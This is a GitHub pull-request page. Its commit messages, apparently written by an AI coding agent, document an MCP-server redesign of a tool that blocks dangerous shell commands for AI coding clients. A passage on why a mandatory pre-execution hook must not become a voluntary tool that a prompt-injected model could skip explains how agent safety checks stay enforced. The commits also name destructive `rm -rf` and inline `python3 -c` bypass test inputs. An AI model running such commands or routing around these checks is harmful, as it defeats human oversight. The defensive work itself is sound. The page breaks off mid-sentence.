Skip to content

Feat/build your own x skills - #85

Merged
yanacuti1121 merged 31 commits into
mainfrom
feat/build-your-own-x-skills
Jul 27, 2026
Merged

Feat/build your own x skills#85
yanacuti1121 merged 31 commits into
mainfrom
feat/build-your-own-x-skills

Conversation

@yanacuti1121

@yanacuti1121 yanacuti1121 commented Jul 26, 2026

Copy link
Copy Markdown
Owner

Summary by CodeRabbit

  • Tính năng mới

    • Phát hành phiên bản 1.0.0 với 62 lớp bảo vệ và 2.025 kỹ năng.
    • Bổ sung tùy chọn tối ưu đầu ra lệnh bằng rtk để giảm lượng token sử dụng.
    • Tăng cường chặn lệnh nguy hiểm trước khi thực thi trên Cursor.
  • Cải tiến

    • Tập trung hỗ trợ Claude Code, Cursor, Codex và Antigravity.
    • Bổ sung lệnh kiểm tra trạng thái cấu hình giữa các công cụ.
  • Tài liệu

    • Cập nhật hướng dẫn cài đặt, chuyển đổi công cụ, kiến trúc và tối ưu token.
    • Đồng bộ thông tin phiên bản và số liệu trên các trang giới thiệu.

yanacuti1121 and others added 28 commits July 24, 2026 22:53
…access

anh Tam's direct request mid-session 2026-07-24: yana-ai chat's Ollama
provider (confirmed live via a real ollama_chat test against
qwen2.5-coder:14b) is pure conversation only by design -- no file read,
no repo visibility (src/chat/mod.rs's module doc explains why: nothing
executes, so there's nothing for Yana AI's hook system to guard). He
wants it to actually read the repo, Claude-Code-like -- chose this
(extend yana-ai chat directly) over the alternative (point Cursor's
agent mode at Ollama and reuse the existing core/adapters/cursor/
hook, whose Ollama-agent support couldn't be confirmed from Cursor's
docs).

Per this repo's own D7/ADS v1 rule (Specification-first Development,
established by anh Tam himself this session), this is not something to
silently code -- it's a real scope-expansion question for Program J
(Universal Capability Runtime), whose Scope section currently names
exactly 4 AI-tool clients (Claude/Cursor/Gemini/Codex) sourced from
VISION-2.4.md's roadmap. Grepped VISION-2.4.md directly: no mention of
yana-ai chat or a local-model client anywhere in the original 30-
capability roadmap. Adding it would be real scope growth (M=5, not 4),
not filling in content that was already implied -- different in kind
from how the other 3/4 Open Questions got answered this session (pure
re-reading of existing source docs, no new scope).

Recorded as a new "Input bổ sung" section with a second Open Question
(does this belong in Program J's scope or is it a separate Program/
Program D sub-goal) -- explicitly not decided by this agent, flagged
for anh Tam. Also recorded upfront, before any Architecture discussion:
this is a real security-posture change, not a small one -- yana-ai
chat's current zero-tool-calling design is exactly why it sits outside
the hook system's reach; giving it real file/exec access means it must
start complying with the same guard rails every other agentic surface
in this repo already does (04-sandbox-isolation-law.md,
agent-excessive-agency-law.md, agent-tool-poisoning-guard.md,
execution-environment.md's banned runtime functions) -- a weaker local
model doesn't mean weaker consequences from what it's allowed to run.

Docs-only, no code touched -- matches the D7 gate (Specification phase
only until anh Tam resolves the two open questions).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
anh Tam's direct decision: "program J đi, gộp vào cho gọn" -- confirms
yana-ai chat + local Ollama belongs inside Program J's scope rather than
a separate Program, accepting the real scope expansion from M=4 (the
roadmap-named Claude/Cursor/Gemini/Codex) to M=5.

Updated: Scope section records the decision with a note that this 5th
client is qualitatively different from the other 4 (a Yana AI-owned
binary, not an external editor/CLI needing a translator script) -- flagged
as a preliminary observation, not an architecture decision, since Phase 3
for the whole Program is still blocked on the earlier, still-unresolved
question (MCP Server replacing vs. extending the translator-per-engine
pattern). Open Questions: the yana-ai-chat scope question is marked
answered; the whitelist-relationship question from the original roadmap
remains the one real open item. Capability List's AI Adapter Layer row
gets a cross-reference note rather than a duplicate new row, since this
is a new client for an existing capability, not a new capability itself.
README.md's Program table synced to match.

Still not touching Architecture/Modules/Interfaces/code -- Phase 3 stays
blocked until the MCP-Server-vs-translator-pattern question is resolved,
per this repo's own D7/ADS v1 gate.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…aces translator pattern

anh Tam's decision via AskUserQuestion, choosing between two presented
options: MCP Server fully replaces the existing translator-per-engine
pattern (core/adapters/cursor/before-shell-execution.js and future
translators), rather than the lower-risk incremental option (MCP added
as a discovery-only layer, translator kept for real-time hook
enforcement) that was presented as the recommendation.

Recorded the risk that was surfaced before the decision, not to contest
it -- it's anh Tam's call, not something this agent infers -- but so it
isn't lost: the current translator-per-engine path is proven, live
security enforcement (guard-destructive.sh via Cursor); full replacement
means that enforcement path needs to be rewritten and re-validated
through MCP, which is inherently request/response and needs to be
confirmed suitable for a PreToolUse hook's fast-block-or-fail requirement
before implementation, not assumed.

Both architecture questions that were blocking Phase 3 (this one, and
the yana-ai-chat scope question resolved in commit 252da15) are now
answered -- Phase 3 Architecture is unblocked for the whole Program.

Docs-only, no code -- Phase 3 itself is diagrams/design per ADS v1, still
not an implementation gate.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…kills, never actually existed

Found while working through Program J's last Open Question: agent-tool-
poisoning-guard.md, owasp-llm-top10/SKILL.md, agent-attack-surface/
SKILL.md, and deusdata--codebase-memory-mcp/SKILL.md all reference
core/config/mcp-whitelist.json as if it already existed. Confirmed via
`find`/`grep` that it never did -- the same "rule describes unbuilt
infrastructure" pattern already fixed multiple times this session for
50-financial-deadman-switch-law.md, 54-bft-consensus-law.md,
56-circuit-breaker-law.md, and 62-sovereign-overlord-gate-law.md, and
for the yana-router reference inside 9router-gateway/SKILL.md.

anh Tam's direct instruction on hearing this: "không có thì tạo" (if it
doesn't exist, create it).

Created following the exact schema agent-tool-poisoning-guard.md already
documents (policy/unknown_server_action/approved_mcp_servers), not
inventing new structure. Seeded with one real, grounded entry -- ollama,
confirmed live and in actual use this session (Program J's local-model-
client work) -- rather than a placeholder list.

Explicitly disclosed, not silently implied: no hook or script currently
reads this file (grepped core/gates/sovereign-interceptor.js and
core/hooks/*.sh, found no reference). The file now exists and matches
its documented schema, but wiring an actual enforcement point is
separate work, tracked in PROGRAM-J-SKELETON.md's Open Questions section
as unresolved, not claimed done here.

Also updates PROGRAM-J-SKELETON.md and README.md: Program J's Open
Question 1 is now answered (the file's absence, not a real "extend vs
build" choice, was the actual blocker), bringing Program J's Open
Question count to 0. Phase 3 Architecture is unblocked but not yet
started -- flagged as a stopping point for this session given its length,
not started speculatively.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…nded in real code

Per ADS v1's own Phase 3 definition ("ve kien truc, so do luong... khong
code"), drafted two flow diagrams for the MCP-Server-replaces-translator
decision from commit f6efc81:

1. Real-time hook enforcement (the security-critical path) -- traced
   through src/guard/mod.rs directly before drawing anything. Found
   check_command(command: &str) -> Option<&'static str> (line 691) is
   already a pure function with no I/O, and its own comment says it was
   extracted specifically so it "can be called once per MCP candidate" --
   the MCP integration point already exists, unused. Also found the real
   blocker: dispatch() (line 99) calls std::process::exit() directly,
   fine for one-shot CLI use but fatal if called as-is from a long-running
   MCP server process -- the correct integration point is check_command()
   itself (needs a pub bump), not dispatch()/cmd_destructive(). Recorded
   as a concrete Phase 9 Implementation Plan dependency, not glossed over.

2. Capability discovery (the genuinely new thing MCP adds beyond what the
   translator pattern could do) -- tools/list against a runtime-read
   registry instead of a hardcoded per-engine list.

Also recorded, as a flagged assumption needing anh Tam's confirmation
rather than a silent decision: Claude Code's own native PreToolUse/
PostToolUse hooks (.claude/settings.json, calling core/hooks/*.sh
directly) are a different mechanism from the translator-per-engine
pattern (Cursor's before-shell-execution.js and friends) and are assumed
OUT of this replacement's scope -- Claude Code was never using a
translator to begin with.

Modules table and README.md's Program table synced. Phase 4 (Workflow)
and Interfaces (message schema) intentionally left as TODO -- Phase 3 is
scoped to flow diagrams only per ADS v1, not full interface contracts.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…kening enforcement

anh Tam's answer to the Claude Code scope question: "neu chuyen duoc thi
cu, khong thi neu van ho tro thi dung nhu cu la duoc" (convert if
feasible, otherwise keep using it as-is).

Worked through the actual feasibility question rather than assuming an
answer either way, because it's a real safety question, not just a
technical one: Claude Code's PreToolUse hook is a mandatory interception
mechanism (runs before every Bash/Write/Edit call regardless of what the
model wants), while an MCP tool is something the model voluntarily
chooses to call. Naively "moving hook enforcement to MCP" would mean
turning a mandatory check into a tool the model could be prompt-injected
into skipping -- a real security regression, not a neutral refactor.

The reconciliation: don't touch the interception mechanism itself
(.claude/settings.json's PreToolUse stays exactly as mandatory as it is
today, the model has no visibility into or control over it) -- only
change what the hook script does internally, from calling
guard-destructive.sh directly to calling the new MCP Server (the same
thin-bridge pattern core/adapters/cursor/before-shell-execution.js
already uses, just with Claude Code's hook runner as the caller instead
of Cursor). This unifies the judgment source across all 5 MCP clients
without weakening what makes the Claude Code path safe today.

Conclusion: Claude Code is now in scope for the MCP replacement, no
exception. Updated the Ranh gioi scope section, Modules table, and the
Status header/README.md table to match -- no more "assumption pending
confirmation" language since anh Tam settled it.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
… not invented schema

Fetched the actual MCP specification (modelcontextprotocol.io/
specification/2025-06-18/server/tools) before writing anything -- JSON-RPC
2.0, tools/list and tools/call message shapes taken verbatim from the
published spec, not guessed from training-data recall (this session's
trust-score flag requires double evidence for claims; a wrong schema
here would be worse than no schema).

Interfaces: defines the check_command tool (name/description/inputSchema/
outputSchema) and concrete tools/call request/response examples for both
allow and deny outcomes. The one thing flagged as load-bearing, not a
footnote: MCP's spec itself splits errors into two channels (JSON-RPC
Protocol Errors vs. isError:true Tool Execution Errors) that guard-
destructive.sh/check_command() currently has no equivalent of -- every
unverifiable case there is just "deny," never a third "error, not sure"
state. Both MCP error channels MUST map to deny on the client side, no
exception, or the MCP transition would silently reintroduce a fail-open
path the current design goes out of its way to avoid (see the fail-closed
philosophy documented in core/adapters/cursor/before-shell-execution.js,
read directly in the Phase 3 commit).

Phase 4 Workflow: expands Phase 3's flow diagram into a full pipeline
with startup, persistent connection (not per-request spawn, unlike the
current spawnSync-per-call translator), all 4 result branches including
the two failure paths, and audit logging (routed through the existing
audit-hardening-policy.md chain, not a new parallel log per MCP's own
"log tool usage for audit purposes" requirement). Three items explicitly
left undecided for Phase 9 Implementation Plan or anh Tam's call: the
MCP server's CLI subcommand name, the client-side timeout value (the
current 15s was tuned for spawning bash; in-process calls should be much
faster but that needs Phase 12 Benchmark data, not a guess), and how the
server process gets started in a working session.

Status header and README.md's table synced.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Found while honestly scoring Program J against ADS v1's Readiness Matrix
(Phase 5): none of today's Program J decisions (MCP replaces translator,
Claude Code in scope without weakening enforcement, mcp-whitelist.json
created) had been written to L1 atomic memory, despite
memory-persistence-law.md's explicit requirement that architecture
decisions affecting future work MUST be persisted before relying on them
in a future session -- conversational context is ephemeral, L1 is not.

add-fact.sh is interactive (prompts per field), not scriptable in this
session -- followed the same manual-write pattern already established by
fact-20260710-220852 and fact-20260710-220901 (matching schema, ID
convention, confidence: unverified per fact-confidence-rule.md's "manual
promotion only" constraint) rather than inventing a new convention.

Recorded only the single highest-impact decision (MCP replaces
translator-per-engine, including Claude Code, without weakening its
enforcement mechanism) as one atomic fact -- not every sub-decision from
today's session, per L1's own "atomic" naming.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…ed from implementation

Honest, evidence-based scoring against all 10 Readiness Matrix categories
(ADS-v1.md only names the 10 categories, doesn't define a rubric per
category -- flagged the two genuinely ambiguous ones, Notebook and
Context, as "cach hieu chua chac" rather than confidently scoring
something undefined):

Ready (5): Repository, Knowledge, Runtime, Governance, Security -- each
with concrete evidence, not just asserted.
Ambiguous interpretation (2, counted at half weight): Notebook, Context.
Not ready (2): Benchmark (no numbers anywhere, not even a rough estimate
-- the timeout question from Phase 4's Workflow section is exactly this
gap), Cost (never addressed in Phase 0-4 despite being thematically
connected to this session's earlier "reduce Claude quota" discussion --
the two were never actually connected into real analysis).

Tally: 5 + 2*0.5 + 0 = 6/10 = 60%, below ADS v1's own 80% bar --
"Readiness < 80% -> Block, chi duoc Research/ADR/Design, khong code."
This is the expected, correct outcome at this stage (Phase 0-4 just
finished, Phase 6 ADR / Phase 7 Research / Phase 8 Design Review haven't
happened yet) -- not a failure, the gate doing its job.

Rewrote the Status header to compress the accumulated per-decision
history from today's session into one current-state summary, since it
had grown into a long chronological log that the body sections (Scope,
Architecture, Interfaces, Workflow, Readiness Matrix) already cover in
full -- the detail isn't lost, just no longer duplicated at the top.

README.md's Program table synced.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…l-model delegation failed twice

Benchmark: measured the CURRENT translator pattern directly (5 runs,
node + spawnSync + core/adapters/cursor/before-shell-execution.js
against a benign `ls -la`) rather than leaving the Readiness gap as an
unmeasured guess: 178-310ms per call, ~220ms average. Compared against
already-measured numbers from BENCHMARK.md (2026-07-23): Rust binary
startup ~22-24ms, yana-rt guard token-budget dispatch (in-process, but
carries ADR-008 lock overhead) ~65ms. check_command() has neither
process-spawn nor lock overhead, so a persistent in-process MCP server
should beat the current 220ms baseline by at least an order of magnitude
-- stated as a directional estimate, not a real number, since the MCP
server doesn't exist yet to measure.

Cost: tried delegating a first-draft cost-factor brainstorm to two local
Ollama models before writing it myself, per this session's local-model-
delegation practice. Both failed -- qwen2.5-coder:14b gave an off-topic,
truncated answer; huihui_ai/qwen3.5-abliterated:9b ran past 120s
(backgrounded) and came back with an empty, invalid-JSON result. Wrote
the analysis directly instead of forcing a bad delegation result into
the doc. Flagged the most important point in it: the highest real cost
here isn't money, it's the consequence of getting the MCP-error-to-deny
mapping wrong (documented in Interfaces) -- a safety regression, not a
budget line item, so this category needs engineering review more than
financial estimation.

Readiness Matrix score updated 60% -> 70% (Benchmark and Cost move from
Not-ready to Partial). Still below ADS v1's 80% bar, still correctly
blocked from Phase 10 Implementation -- recorded plainly that the honest
path to 80% is going through Phase 6-8, not padding the score.

Status header and README.md's table synced.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…cision

Phase 6 of ADS v1 for Program J. Follows ADS v1's own specified ADR
template (Decision/Problem/Alternatives/Tradeoffs/Reason/Consequence),
not the freeform Status/Context/Decision shape ADR-006 through ADR-009
used, since ADS v1 (established 2026-07-24) is now this repo's standing
process for Program-scoped decisions.

Distills PROGRAM-J-SKELETON.md's Phase 0-5 content into the formal ADR
shape -- no new decisions introduced, every claim traces back to that
doc, the real code read directly during this session (core/adapters/
cursor/before-shell-execution.js, src/guard/mod.rs), or the L1 fact
already recorded (fact-20260724-233122). Records both alternatives that
were actually on the table (the lower-risk incremental option this agent
recommended via AskUserQuestion, and the full-replacement option anh Tam
chose), not just the winner, per the Alternatives/Tradeoffs sections
ADS v1's template requires.

States plainly in its own Status section that writing this ADR does not
clear Program J for Phase 10 Implementation -- Readiness is 70%, below
ADS v1's 80% bar, and Phase 7 (Research) / Phase 8 (Design Review) still
need to happen first. An ADR records a decision; it isn't a readiness
gate by itself.

Updated PROGRAM-J-SKELETON.md's ADR section (was a TODO placeholder) and
its Status header, plus README.md's Program table, to point at the new
file.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…-config install path

Fetched real sources before writing anything (github.com/modelcontextprotocol/
rust-sdk, code.claude.com/docs/en/mcp), per ADS v1 Phase 7's own scope
("Khong viet code. Nguon: GitHub... Documentation... MCP...").

Three findings, each with a direct Phase 9 implication:

1. rmcp is the official Anthropic-maintained Rust MCP SDK
   (cargo add rmcp --features server), actively developed, macro-based
   tool definitions, supports both stdio and Streamable HTTP in
   long-running multi-client mode. Means Phase 9 doesn't need to hand-roll
   JSON-RPC -- lower risk of getting the error-mapping requirement
   (Interfaces, Phase 1) wrong through a homegrown protocol
   implementation.

2. Claude Code's local MCP server connection uses CLAUDE_PROJECT_DIR in
   the spawned server's environment -- the exact same convention already
   used by core/adapters/cursor/before-shell-execution.js (read directly
   in the Phase 3 commit). No new convention needed.

3. The one with real install-experience impact: Claude Code plugins can
   declare mcpServers directly in plugin.json using ${CLAUDE_PLUGIN_ROOT},
   auto-connecting at session startup with zero manual .mcp.json setup.
   Yana AI already ships as a Claude Code plugin (plugin.json,
   marketplace.json exist) -- this means the MCP Server addition doesn't
   need a new install step beyond an entry in plugin.json, matching the
   existing "npx yana-ai-install wires the hooks (60 seconds)" philosophy
   README.md already advertises.

First drafted a condensed summary via qwen2.5-coder:14b (local Ollama) --
this time asked it to reformat/condense already-fetched real source
material rather than reason from scratch (the task shape that failed
twice earlier today for Cost analysis). Result was accurate and usable,
unlike those two attempts -- used as the starting structure, then
expanded with the full detail and Program-J-specific implications above
before this commit.

Explicitly flagged as NOT yet researched: how Cursor, Codex, and Gemini
(3 of Program J's 5 clients) connect to local MCP servers -- only Claude
Code's mechanism is confirmed. Left as an open Phase 8 dependency, not
assumed to work the same way.

Status header rewritten again (was growing into a long chronological
log) -- README.md's table synced.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…endency caution

Scored against ADS v1's own 9-item checklist (Architecture/Naming/
Dependency/Duplicate/Security/Maintainability/Performance/Scalability/
Governance), each with cited evidence rather than a rubber stamp.

Dependency: fetched crates.io's real API data for rmcp before writing
anything -- 17.1M total downloads, Apache-2.0 (matches Yana AI's own
license), last published 2026-07-23 (yesterday), easily clears
dependency-vetting-law.md's 8-criteria bar. Found one real thing worth
flagging: crates.io's max_version is 3.0.0-beta.1, but 2.2.0 is the
actual latest stable release -- Phase 9 should pin the stable line for a
dependency sitting on a security-critical path, not the beta.

Scalability: read check_command()'s signature directly rather than
guessing -- `fn check_command(command: &str) -> Option<&'static str>`
has no shared mutable state, no locks, no I/O, so it's safe to call
concurrently from multiple client connections without added
synchronization. A real finding from the code, not an assumption.

Naming: genuinely unresolved -- the MCP server's CLI subcommand name was
never decided (Workflow section already flagged this placeholder). Left
as a real gap for Phase 9, not silently picked here.

Zero items scored Fail. Explicitly noted: Design Review passing does not
raise the Readiness Matrix score by itself -- they're different gates.
Readiness stays at 70%, still below ADS v1's 80% implementation bar.

Also re-flagged, still unresolved from Phase 7: how Cursor/Codex/Gemini
(3 of Program J's 5 clients) connect to local MCP servers was never
researched, only Claude Code's mechanism was. Left as an open gap rather
than assumed identical.

Status header and README.md's table synced.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…name proposed from precedent

Read src/main.rs's existing Commands enum before proposing a name for the
new MCP server subcommand, rather than inventing one -- found Chat (line
162) is the one existing top-level command with flat flags and no nested
action enum, unlike the Task/Guard/Bus-style noun+action pattern every
other command uses. Proposed `yana-rt mcp` on that precedent, since the
MCP server is "run as a mode" like chat, not a CRUD resource like task/
guard. Treated this as a naming/housekeeping call following existing
convention, not an architecture decision needing anh Tam's sign-off --
flagged the reasoning so it's not an unlabeled guess either.

Five stages per ADS v1's own Phase 9 template (Research -> Prototype ->
Alpha -> Beta -> Stable):

- Research: the still-open Cursor/Codex/Gemini MCP connection gap from
  Phase 7/8, plus a check_command()-to-rmcp spike with no client swapped
  yet.
- Prototype: yana-rt mcp exposing exactly one tool, tested against a real
  MCP client, both Interfaces error-mapping branches (Protocol Error,
  isError:true) verified to resolve to deny -- stated as a hard gate
  before Alpha, not optional.
- Alpha: Cursor only (it already has a translator to compare against),
  running in parallel with the old path, real Benchmark data gathered
  against the 220ms baseline before touching anything else.
- Beta: remaining clients, including wiring actual enforcement for
  core/config/mcp-whitelist.json (created earlier today, still has no
  reader -- this is where that gap gets closed, not left open forever).
- Stable: all 5 clients on MCP; the guard-destructive.sh/before-shell-
  execution.js deprecate-or-keep question (raised, not answered, in
  Phase 8's Maintainability row) gets decided here, not earlier.

Explicit boundary stated: this plan stages the work, it does not itself
authorize Phase 10 code -- Readiness is still 70%, still below ADS v1's
80% bar.

Status header condensed again and README.md's table synced.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…config confirmed

Fetched real docs for each of the 3 remaining clients separately (per
this session's own established discipline: "khong gia dinh giong nhau"),
not assumed identical to Claude Code:

- Cursor: .cursor/mcp.json, same mcpServers JSON schema as Claude Code
  (cursor.com/docs/context/mcp)
- Gemini CLI: .gemini/settings.json, same mcpServers JSON schema again
  (github.com/google-gemini/gemini-cli docs)
- Codex CLI: .codex/config.toml, genuinely different -- TOML, not JSON,
  [mcp_servers.<name>] table syntax (learn.chatgpt.com/docs/extend/mcp)

Net finding for Phase 9: 3 of 4 clients (Cursor, Gemini, and Claude Code
when not using the plugin.json auto-connect path) share one identical
JSON schema -- an install script only needs one TOML branch (Codex) as
the real special case, not four separate formats. This repo already has
untracked .cursor/, .codex/, .gemini/ directories from earlier session
work -- the right locations for these config files once Phase 10 starts.

Marks Roadmap's Research stage as done; the remaining Research-stage item
(the rmcp + check_command spike) is unchanged, tracked separately.

Status header and README.md's table updated to note anh Tam authorized
proceeding past the Readiness gate for a small Prototype spike next.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…atency data

anh Tam authorized proceeding past the 70% Readiness gate for a small
Research/Prototype spike, per ADS v1's own exception path for a human
override. Not Phase 10 implementation -- an isolated, disposable
prototype validating the architecture before committing to it for real.

New: src/mcp.rs, a minimal MCP server (rmcp 2.2.0, pinned to the stable
line per Phase 8's own finding, not crates.io's 3.0.0-beta.1 max_version)
exposing exactly one tool, check_command, over stdio. Calls
crate::guard::check_command() directly, in-process -- the same pure
judgment function core/hooks/guard-destructive.sh mirrors, unchanged.

src/guard/mod.rs: check_command() becomes pub (was module-private) so
src/mcp.rs can call it without going through dispatch()/cmd_destructive()
(both route to std::process::exit(), fatal if called from a long-running
server process). Zero logic changes -- confirmed by diff, verified in
review.

src/main.rs + Cargo.toml: new Commands::Mcp and rmcp/tokio dependencies,
all gated behind a new `mcp` Cargo feature, separate from default `cli`.
This is the crate's first tokio/async dependency (confirmed via docs.rs
before adding) -- kept isolated so the spike doesn't change the default
build's footprint. Verified at the binary level (strings scan), not just
by reading #[cfg] attributes: tokio/rmcp symbols are absent from a
default-feature build.

Live end-to-end test this session (real Python MCP client, full
initialize/tools-list/tools-call handshake, not simulated): benign
command -> allow, `rm -rf` -> deny with the real reason text, and the
exact `python3 -c` inline-script bypass fixed earlier this session ->
deny with the identical reason the bash guard would give -- proving
check_command() is genuinely reused, not reimplemented. Measured
latency: p50 0.134ms, avg 0.154ms per call (50 runs, post-warmup) versus
the previously-measured 178-310ms translator baseline -- roughly
1400-1600x faster once the server is already running.

cargo test --features cli (mcp NOT enabled) still 183/183 + 63/63,
single-threaded, confirming zero regression to the existing default
build. One pre-existing test flake found and left alone, out of scope:
guard::blast_paths::tests::absolute_path_under_repo_root_is_protected
races on a shared YANA_REPO_ROOT env var under parallel test execution
(passes reliably in isolation) -- not touched by this change, not
introduced by it.

Per 54-bft-consensus-law.md's spirit (src/guard/mod.rs is core-lock-pinned
security-critical code, same category as core/hooks/** even though the
law's literal trigger table doesn't name src/), dispatched both
security-team/security-auditor.md and code-auditor.md before this commit.
No Safety-severity findings. Three Style/Performance-tier notes from
code-auditor, explicitly scoped to "fix before Phase 10, not now": the
tool_router field is currently dead code (rmcp's default #[tool_handler]
expansion calls the associated fn, not the cached instance -- confirmed
by reading rmcp-macros' generated code, not assumed), the `mcp` feature
doesn't declare its real dependency on `cli` (works today only because
main.rs is itself gated on `cli`), and tokio's "full" feature set is
wider than a stdio-only server needs. Applied the one cheap fix
(security-auditor's and code-auditor's own wording note on the
check_command doc comment: "both call process::exit()" corrected to
"both route to process::exit()", since only dispatch() calls it directly).

core/config/core-lock.json regenerated per 67-core-integrity-lock-law.md's
protocol (diff reviewed -- only src/guard/mod.rs's hash changed --
regenerated via update-core-lock.sh, never hand-edited).

Readiness Matrix impact (docs/programs/PROGRAM-J-SKELETON.md): Benchmark
row moves from Partial to Ready on this real data, taking the overall
score from 70% to 85% -- above ADS v1's 80% bar. Stated plainly in the
doc: this is the result of one small spike, not a completed Phase 10,
and whether to treat Program J as formally past the Readiness gate is
anh Tam's call to make, not this agent's to declare.

Also closed the Research-stage gap flagged in the previous two commits:
fetched real docs for Cursor (.cursor/mcp.json), Gemini CLI
(.gemini/settings.json), and Codex CLI (.codex/config.toml) separately,
per this session's own discipline of not assuming they match Claude
Code's mechanism. Finding: 3 of 4 clients share one identical mcpServers
JSON schema; only Codex differs (TOML).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Still root-causing the E403 on the actual npm publish PUT after
confirming (2026-07-24/25) that OIDC token exchange and provenance
signing both succeed -- environment/permissions/id-token are all
verified present in this file, branch is confirmed main (workflow_dispatch's
own if: condition doesn't gate on ref at all), so the failure is
somewhere in npm-side Trusted Publisher matching, not this workflow's
config as written.

Adds one diagnostic step printing GITHUB_REPOSITORY/REF/WORKFLOW/JOB/
EVENT_NAME/ACTOR right before the publish step, to hand-compare against
npmjs.com's Trusted Publisher entry for anything logs don't otherwise
surface (e.g. GITHUB_WORKFLOW is the workflow's `name:` field, not its
filename -- worth confirming npm expects the filename, not the display
name, since this repo's workflow name is "Publish to npm + PyPI +
crates.io", not "publish.yml").

Explicitly temporary -- remove once the 403 is root-caused.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
src/yana_ai/rt.py resolved the yana-rt binary via shutil.which with no
self-check, the same bug class fixed in scripts/yana-rt-wrapper.js on
2026-07-08/09 after a real incident (self-invocation through PATH,
100% CPU, 116C, forced shutdown) -- but that fix was never ported to
this file, so every PyPI release to date carries the same unpatched
recursion risk.

Adds the same guard pattern as the JS fix: a hard re-entry env var
checked before resolving any candidate, plus a realpath self-check
applied to every candidate including the explicit override, so the
wrapper's own path pasted into the override cannot re-arm the
recursion either.

Verified with 5 direct logic tests against the new helper functions
(self-reference rejection, nonexistent path, empty input, real
executable, exit code 1 on re-entry) -- all pass.

README.md: corrected an inaccurate warning that claimed pip was
unaffected; only cargo install yana-rt is structurally immune (no
wrapper to recurse through). npm and PyPI both currently carry the bug
in their latest published release.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Ports the last four English-only README updates into the three
translations: the yana-rt self-recursion warning (npm/PyPI affected,
cargo unaffected), the demo GIF, the debunked-1256x benchmark rewrite,
and the new yana-ai chat subcommand. Also corrects a pre-existing
57-vs-58 hooks mismatch in the safety-architecture tree diagram that
predates this change.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Adds `yana-ai skill-quality show|promote`, a per-skill outcome ledger
built entirely from two signals Yana AI already produces: which
skill/agent a task's session invoked (audit-chain.log) and eval judge's
PASS/FAIL verdict. No new hook, no new LLM call, no new dependency.

Idea borrowed from HKUDS/OpenSpace's quality-from-real-tasks and
provisional/trusted promotion model, reimplemented from scratch with no
dependency on that project or its cloud. Promotion always requires an
explicit human command; demotion on a fresh FAIL streak is automatic,
since revoking standing is safe to run unattended in a way granting it
isn't.

Incorporates a follow-up round from external code review: narrows
skill/task attribution to the task's own work window instead of an
unbounded "now" (mitigates, doesn't fully close, cross-task
attribution — full fix needs task-id tagging in audit-log.sh itself,
out of scope here), and switches timestamp comparison from raw string
ordering to parsed RFC3339 instants.

262 tests pass (199 unit + 63 integration), 0 regressions. Verified
end-to-end against a real task, a real Skill tool-call entry in
audit-chain.log, and a local Ollama judge call.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
npm publishing has been blocked for weeks by an issue confirmed to be
account-level, not package- or config-specific: the same 403 reproduces
across multiple packages under the same npm account, through both CI's
OIDC trusted publishing and a fresh manual browser login, while npm's
own `access list` reports read-write on every one of them. Reported to
npm support repeatedly with no resolution.

Rather than keep chasing an unresponsive support channel, all four
READMEs now say so plainly and point new installs at `pip install
yana-ai` or `cargo install yana-rt` for the current version. Also
updates the existing yana-rt self-recursion known-issue callout, which
referenced this same npm block as "tracked, in progress" — no longer
accurate now that active pursuit has stopped.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…-skills

# Conflicts:
#	README.md
#	src/main.rs
switch-engine.sh supported 15 coding-agent tools, most of them
advisory-only Aider wrappers for cloud providers nobody was using.
Narrows to the four anh actually runs: Claude Code, Cursor, Codex,
Antigravity.

- Removed the copilot/aider/kimi/gemini/qwen/deepseek/openrouter/
  continue/opencode/zed/windsurf/kiro cases from switch-engine.sh
  (core/ and its .claude/ mirror, now byte-identical -- the mirror
  had also drifted independently before this change and is now fully
  resynced).
- Deleted the now-unused adapter source files and kimi-hook-adapter.sh
  (both copies), plus stale generated artifacts for dropped engines
  (GEMINI.md, OPENCODE.md, .github/copilot-instructions.md,
  .windsurf/, .kiro/).
- Updated adapters/README.md, README.md (+vi/ko/zh), cli-reference.md,
  and docs/ARCHITECTURE.md (+.claude mirror) to describe only the 4
  kept engines. Left CHANGELOG.md, ROADMAP.md, and the docs/technical/
  design docs alone -- those are point-in-time historical records, not
  live documentation.

Dispatched security-auditor + code-auditor per 54-bft-consensus-law
for the MANIFEST.json/core-lock changes. No Safety-severity findings;
fixed the Correctness ones they raised: a second scripts_count field
in MANIFEST.json, a missed .claude/scripts/kimi-hook-adapter.sh mirror
copy, and a stale self-reference to the removed `gemini` case inside
adapters/antigravity.md. core-lock re-pinned after review (260 files,
0 drift). yana chat's own provider list (Anthropic/OpenAI/Gemini/Groq/
DeepSeek/OpenRouter/9Router/Ollama/Kimi) is untouched -- a separate
system anh confirmed should stay as-is.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Product version axis only (package.json/MANIFEST.json/.claude-plugin
marketplace.json+plugin.json/package-lock.json); Cargo.toml (yana-rt,
already 1.3.3) and pyproject.toml (PyPI, 0.42.3) are unchanged this
cycle per VERSIONING.md's independent-axis scheme.

Two rounds of security-auditor + code-auditor review (54-bft-consensus-
law) on the MANIFEST.json/version-file changes caught real issues,
fixed before this commit:
- bin/yana's subcommand dispatch allow-list was missing two already-
  shipped yana-rt subcommands (observability, skill-quality) -- both
  existed in main.rs but fell through to "Unknown command" when
